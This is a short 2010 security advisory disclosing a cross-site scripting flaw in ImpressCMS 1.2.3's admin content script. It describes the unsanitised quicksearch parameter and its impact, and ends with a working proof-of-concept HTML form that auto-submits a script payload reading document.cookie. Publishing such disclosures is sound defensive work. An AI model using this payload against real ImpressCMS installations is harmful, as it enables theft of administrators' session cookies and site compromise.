XSS vulnerability in ImpressCMS

Type securityvulns
Reporter Securityvulns
Modified 2010-12-21T00:00:00


Vulnerability ID: HTB22766 Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_impresscms.html Product: ImpressCMS Vendor: The ImpressCMS Project ( http://www.impresscms.org ) Vulnerable Version: 1.2.3 Final and probably prior versions Vendor Notification: Vulnerability Type: XSS (Cross Site Scripting) Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response Risk level: Medium Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)

Vulnerability Details: User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the "/modules/content/admin/content.php" script to properly sanitize user-supplied input in "quicksearch_ContentContent" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://host/modules/content/admin/content.php" method="post" name="main"> <input type="hidden" name="quicksearch_ContentContent" value='search"><script>alert(document.cookie)</script>'> <input type="hidden" name="button_quicksearch_ContentContent" value="Search"> <input type="hidden" name="filtersel" value="default"> <input type="hidden" name="limitsel" value="15"> </form> <script> document.main.submit(); </script>